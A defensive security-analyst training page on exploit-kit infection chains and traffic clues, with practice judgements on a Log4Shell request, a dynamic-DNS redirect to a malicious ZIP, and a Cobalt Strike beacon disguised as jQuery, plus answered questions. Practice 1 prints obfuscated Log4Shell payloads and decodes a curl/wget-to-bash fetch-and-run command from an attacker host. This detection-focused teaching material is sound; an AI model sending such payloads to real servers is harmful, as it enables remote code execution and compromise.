Spotting Exploit Kits, and Malicious/Suspicious/Benign Practice¶
What this page covers
How exploit kits infect users (compromised site or malicious ad → redirect → browser profiling → tailored exploit and payload), the clues that give exploit-kit traffic away and how to confirm whether an alert led to infection, and three practice judgements: a Log4Shell attack against our web server, a redirect chain through dynamic DNS to a malicious ZIP, and a C2 beacon posing as jQuery. Practice questions with answers are at the end.
Labels
[Added] = practical must-know, [Changed]/[Caution] = what changed recently and what is risky if done the old way. A line-by-line exploit-kit request and domain shadowing are on Judging Requests. All domains and IPs in the examples are invented.
Eight key points¶
- An exploit kit = automatic exploit selection + payload delivery. The user just opened a site they always visit — and got infected.
- The entry point is a redirect planted on a compromised legitimate site or in a malicious ad (malvertising).
- The best defence is patching the OS, browser and plugins. Kits carry a finite set of exploits; short of a zero-day, most fail against patched PCs.
- Traffic clues: several newly created domains, multiple IPs, random subdomains, long URLs and parameters, heavily obfuscated scripts — and, if it works, a file download at the end.
- When an alert fires, judge success not by "did it reach the kit" but by "did an executable or script arrive at the end, and did it run".
- Inbound attacks (Log4Shell, etc.) ride in every header, User-Agent and Referer included, not just the URL. Judge success by whether the server connected outward.
- Redirect chains hopping through several dynamic DNS (free subdomain) hosts are a strong malicious signal.
- Well-configured C2 (e.g. Cobalt Strike) looks like requests for normal files (jQuery, …). Check who serves it (Host), how often, and whether it's encrypted.
How exploit kits infect¶
Why they're frightening. From the user's perspective they did nothing wrong: they opened an ordinary page they'd visited many times, but if an exploit kit had been injected, their PC could be compromised on the spot. No clicks, no trickery — just an unpatched browser in the wrong place at the wrong time, all invisible to the user.
Good (compromised) site / malicious ad
│ hidden redirect (iframe, injected script)
▼
Exploit kit server (normal-looking web server)
│ 1. profile browser: User-Agent, plugins, versions
│ 2. pick a matching exploit from its collection
│ 3. deliver exploit + payload (can change per victim)
▼
Victim PC compromised (payload runs)
- Entry: attackers hack a legitimate site and insert code into its pages, or buy malicious ads that spray redirects across many sites at once through an ad network
- Profiling: the kit server behaves like a normal web server, using the User-Agent and scripts to learn the browser and installed plugin versions
- Selection: it compares those against its exploit collection and builds a tailored package for this victim
- Delivery: it sends the exploit plus a payload (ransomware, banking trojan, cryptominer — possibly different per victim)
Kit authors must keep collecting and updating exploits, and there are only so many. So keeping the OS, browser and every plugin up to date is the best defence; short of the rare zero-day (an unpatched vulnerability), most kits are harmless against a patched PC. Extensions that block third-party scripts on web pages also help.
Spotting exploit-kit traffic¶
Kits differ in how they profile and redirect, but share trends:
| Clue | What it looks like |
|---|---|
| Many domains and IPs | Several unfamiliar hosts in a short span from one click |
| Newly created domains | Days-old registrations; random parent or subdomain names |
| Long URLs and encoded parameters | Meaningless long values after ? |
| Obfuscated pages | Deliberately unreadable JavaScript, nonsense text |
| A file download on success | A randomly named executable or script at the end of the chain |
A typical chain in a proxy log (example):
14:02:11 GET http://recipes-weekly.example/2026/11/soup.html 200 text/html Referer: google.com
14:02:12 GET http://k3x9q2.example-cdn-gate.example/?q=rT8xZ2&s=9Lw 302 - Referer: recipes-weekly.example
14:02:12 GET http://198.51.100.61/?Ym9vbT14OTI3NA&3a2f=Qk2xVhPz... 200 text/html (obfuscated JS)
14:02:14 GET http://198.51.100.61/?Zz7N1aR&49b1=pK0aYx... 200 application/x-shockwave-flash
14:02:16 GET http://198.51.100.61/?Tq9Wm2&e81c=Hd3sLr... 200 application/octet-stream (412 KB)
- Line 1 — the user opens a recipe blog from search (the blog is compromised)
- Line 2 — a hidden redirect in the blog sends them to a "gate" on a random subdomain → 302 to the next stage
- Line 3 — a landing page reached by IP with no domain, long random parameters, obfuscated JavaScript (browser profiling)
- Line 4 — the tailored exploit (plugin exploits such as Flash used to be common)
- Line 5 — a 412 KB binary at the end — the payload arrived; the attack probably succeeded
[Added] What to check when an alert fires. IDSs (Snort, Suricata, …) track kit URL patterns well and raise alerts like "possible exploit kit landing page". Then:
- Was it really a kit? Skim the traffic for a chain like the one above; if not, close as a false positive
- Was something delivered? Did an executable, script or archive arrive with a 200 at the end of the chain (Content-Type, Zeek
resp_mime_types, size)? - Did it run? Right afterwards, new processes (Sysmon 1 / 4688), new files (Sysmon 11), new outbound connections (Sysmon 3) on the PC?
- Where did it start? Follow the first Referer back to the compromised site and check other PCs that visited it
URL sandboxes may visit the site themselves, hit the kit and graph the redirect path.
Practice 1: a request to our web server¶
Context: a request arriving at the organisation's public web server. Judge it yourself first, then expand the explanation.
GET /?x=${jndi:ldap://203.0.113.9:1389/Basic/Command/Base64/KGN1cmwgLXMgMjAzLjAuMTEzLjk6NTg3NC8xOTguNTEuMTAwLjIwOjgwfHx3Z2V0IC1xIC1PLSAyMDMuMC4xMTMuOTo1ODc0LzE5OC41MS4xMDAuMjA6ODApfGJhc2g=} HTTP/1.1
Host: 198.51.100.20
User-Agent: ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://203.0.113.9:1389/Basic/Command/Base64/KGN1cmwg...}
Referer: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://203.0.113.9:1389/Basic/Command/Base64/KGN1cmwg...}
Accept: */*
Verdict and explanation: malicious (attack attempt)
Clearly malicious. The URL, User-Agent and Referer all hold complex values that, looked at closely, all (some obfuscated) reference jndi, ldap and an embedded address:
- URL:
${jndi:ldap://203.0.113.9:1389/...}— the easiest to see - User-Agent:
${lower:j}is Log4j syntax for "lowercase j"; joined up it readsjndi:ldap— obfuscation to dodge naivejndistring matching - Referer:
${::-j}resolves to "default value j"; againjndi:ldap
This is an attack on the Apache Log4j vulnerability (Log4Shell, CVE-2021-44228) disclosed in December 2021. The moment a Java program on the server logs this value with Log4j, Log4j treats ${jndi:ldap://...} as an instruction, the server itself connects out to 203.0.113.9:1389, and runs code it receives. That's why attackers spray the string into every field the server might log (URL, User-Agent, Referer, other headers).
Decoding the Base64. After Base64/ in each field:
curl -s 203.0.113.9:5874/...— quietly (-s) fetch content from port 5874 on the attacker's server||— if the first command fails (no curl), run the nextwget -q -O- ...— fetch quietly (-q) with wget, writing to standard output (-O-)| bash— run what was fetched as Linux shell commands198.51.100.20:80in the path — the victim server's own IP and port, so the attacker can record "which server got hit" in the botnet's ledger
How to tell if it worked. A request arriving isn't success. The key is whether our server connected outward:
- Firewall or Zeek
conn.log: did the web server make outbound connections to203.0.113.9:1389(LDAP) or:5874? - Did the server's (Java) process spawn
curl,wget,bashorsh(Linux audit logs, EDR)? - Check the server's Log4j version and patch it
No outbound traces and patched → record a failed attempt, block the IP and review WAF rules.
Practice 2: a request leaving a user's PC¶
Context: a request leaving a staff PC. The staff member had just clicked a link in a "check your tax notice" email.
GET /%35%41%5F%32%38%5F%35%42%5F%35%41%5F%31%32%38/ HTTP/1.1
Host: download2.dyn-hosting.example
Referer: http://fiscal-docs.ddns-free.example/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/144.0.0.0 Safari/537.36
HTTP/1.1 302 Found
Location: http://fiscal-notice.homeip-free.example/Nota.zip
Verdict and explanation: malicious (an intermediate step of a malware download)
Malicious, though no exploit is visible as in Practice 1. This is an intermediate step in downloading a malicious file. The whole story:
- A finance/tax-themed phishing email link →
fiscal-docs.ddns-free.example - That site sends the browser to this request (the Referer still shows the first site) →
download2.dyn-hosting.example - The
302response sends it on tofiscal-notice.homeip-free.example/Nota.zip→ the final malicious download
Clues:
- Three dynamic DNS (free subdomain) hosts in a row. Dynamic DNS lets anyone create a "name → IP" mapping instantly for free, which attackers love; business traffic rarely needs these hosts
- A strange URL-encoded path — decodes to meaningless
5A_28_5B_5A_128, hex-like until it falls apart - The flow itself: phishing email → several redirects → ZIP
- The final name
Nota.zip("note/invoice" in Portuguese and Spanish) — a common finance-phishing lure
Strictly, this screen alone isn't 100% proof. But with this context and these signs there's ample reason to extract and inspect the ZIP — which in a case like this turns out to be malware.
[Added] Alert on dynamic DNS. Dynamic DNS services (No-IP, DuckDNS, Dynu, …) have legitimate home uses but are rare in enterprises, so alert or block rules on their domains work well. Each service uses dozens to hundreds of parent domains, so keep the list updated.
Practice 3: a repeating request from a user's PC¶
Context: this request repeats from a staff PC about every 60 seconds, all day.
GET /jquery-3.3.1.min.js HTTP/1.1
Host: cdn-libs-update.example
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Cookie: __cfduid=Rk2xVhPzT8m1qW9cL0aYxN3sKe7bJ4dG6uF5tH2iZ...(about 170 chars)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Content-Length: 5543
Verdict and explanation: malicious (C2 beacon) — the hardest of the three
Malicious — though this screen alone can't prove it; the most you can say is "odd at best". It's the traffic shape of Cobalt Strike's BEACON C2 malware on an infected PC. BEACON can be configured with any HTTP methods, protocols, headers and hosts, rotating among them, which makes it very hard for defenders. Here it's set up to pretend to download jQuery (a common web-page component) and talk through the cookie field.
Clues:
- No reason to fetch jQuery this often. Browsers cache jQuery; fetching the same file every 60 seconds is a program
- HTTP, not HTTPS — legitimate CDNs are almost all HTTPS now
- The wrong source — real jQuery comes from
code.jquery.comor a major CDN, but the Host is an unfamiliarcdn-libs-update.example. The Referercode.jquery.comis decoration; Host is where the request actually went - The
__cfduidcookie — mimics an old Cloudflare cookie name (Cloudflare retired it in 2021), but the value is long and changes per request → data from the infected PC - A 5,543-byte response — the real minified jQuery 3.3.1 is about 85 KB. Far too small, and a beacon's size changes when commands are delivered
You can't read the cookie contents: Cobalt Strike encrypts its traffic and you don't have the keys. So you judge by pattern (interval, source, size), not content.
This shows how sneaky well-configured C2 traffic can be — and this one wasn't even HTTPS. Defenders need to know what major attack tools such as Cobalt Strike can do.
Next: identify the connecting process (Sysmon Event ID 3 — often not a browser, e.g. rundll32.exe or an injected legitimate process), extract the BEACON configuration from memory (public tools can pull C2 addresses and settings), block the domain, and find other PCs contacting the same host.
2026 perspective¶
[Still valid in 2026]
"Patching is the best defence", "judge success by the file at the end of the chain and whether it ran", "inbound attacks ride in every header", "dynamic DNS is a good detection point" and "catch well-disguised C2 by pattern" all hold.
[Changed]
- Exploit kits have declined sharply. Stronger browser security, the end of Flash (2020), Internet Explorer's retirement (2022) and arrests of kit authors mean very few kits remain active in the 2020s. Payloads shifted over time too — at one point from banking trojans to cryptominers. The "infected just by visiting" role has passed to malvertising plus fake installers, fake updates (SocGholish-style) and ClickFix (Judging Requests, 2026 perspective).
- Log4Shell isn't over. Years after its 2021 disclosure, scanning and attacks against unpatched servers continue, and it's on CISA's Known Exploited Vulnerabilities (KEV) list. Seeing
${jndi:in public server logs is still routine. - C2 frameworks have diversified. Cobalt Strike is still widely used, but a 2024 European law-enforcement operation (Operation Morpheus) took down hundreds of servers running cracked copies, and attackers also moved to Sliver, Havoc, Brute Ratel, Mythic and others. All support "normal-looking HTTP(S) profiles", so the method stays the same: source, interval, size, process.
- Free subdomain services multiplied. Beyond classic dynamic DNS, cloud platforms' free subdomains (Workers, Pages, …) and tunnel services are abused the same way.
[Caution] Wrong or risky if done the old way
- Don't treat "exploit kit alert" as "infected". Confirm whether a file arrived and ran. Conversely, don't close it unverified just because the PC is patched.
- Don't open URLs containing attack strings from a company PC or replay them at company servers. Analyse in isolation and record them defanged.
- Detection that only matches strings like
jndiis easily bypassed (${lower:j}ndi, …). Combine WAF/IDS rules that normalise (decode) before matching with outcome-based detection of the server connecting outward.
Practice questions¶
Question 1¶
An IDS alert says "staff PC possibly accessed an exploit kit landing page". In what order do you check whether the PC was actually infected?
Answer and explanation
- Was it really a kit? — review proxy/Zeek traffic around the alert for a chain through several unfamiliar hosts and IPs, long random URLs and obfuscated scripts; if absent, possibly a false positive
- Was something delivered? — did an executable, script or archive arrive with a
200at the end of the chain (Content-Type,resp_mime_types, size)? If nothing arrived, the attack likely failed - Did it run? — new processes (Sysmon 1 / 4688), files (Sysmon 11) and outbound connections (Sysmon 3) right afterwards, especially the browser spawning an unfamiliar process
- Where did it start? — follow the first Referer to the compromised site or malicious ad and check other PCs that visited it
- Check the PC's browser and OS patch level
"Reached the kit" and "infected" are different; delivery and execution traces decide it.
Question 2¶
You find a request in a public web server's log with ${${lower:j}ndi:ldap://203.0.113.9:1389/a} in the User-Agent, and the response code was 200. A colleague says "it's a 200, so the attack succeeded". Right? How do you judge success?
Answer and explanation
No. 200 only means the web server answered the page request normally. Log4Shell fires when the server logs the value with Log4j, regardless of the page response, so the status code can't tell you.
The test is whether the server connected outward:
- Firewall or Zeek
conn.log: any outbound connection from the web server to203.0.113.9:1389(LDAP)? Public web servers rarely initiate outbound connections, so it stands out - Further outbound connections on other ports (payload download)?
- Did the server's Java process spawn
curl,wget,shorbash(Linux audit logs, EDR)? - Does the server actually run a vulnerable Log4j version?
Also, default-deny egress filtering on public web servers stops the second stage of attacks like this.
Question 3¶
As in Practice 3, GET /jquery-3.3.1.min.js repeats every 60 seconds. The URL looks like an ordinary jQuery file — why is it suspicious, and what do you base the judgement on?
Answer and explanation
The URL is the easiest field to fake, so looking normal means nothing. Base the judgement on:
- Source (Host) — real jQuery comes from
code.jquery.com, a major CDN or the site itself; an unfamiliar domain serving jQuery is odd (the Referercode.jquery.comis decoration) - Interval — browsers cache jQuery and don't refetch it every 60 seconds; mechanical repetition = a program
- Encryption — CDN libraries over
httpare rare in 2026 - Size — the real minified jQuery 3.3.1 is about 85 KB, but the response is a few KB; occasional size changes mark command delivery
- Cookie — a long, ever-changing cookie on a static-file request (carrying data)
- Process — the connecting process via Sysmon Event ID 3; if it isn't a browser, it's nearly certain
Lesson: well-configured C2 makes each field look normal, so judge by the combination of source, interval, size and process, not field by field.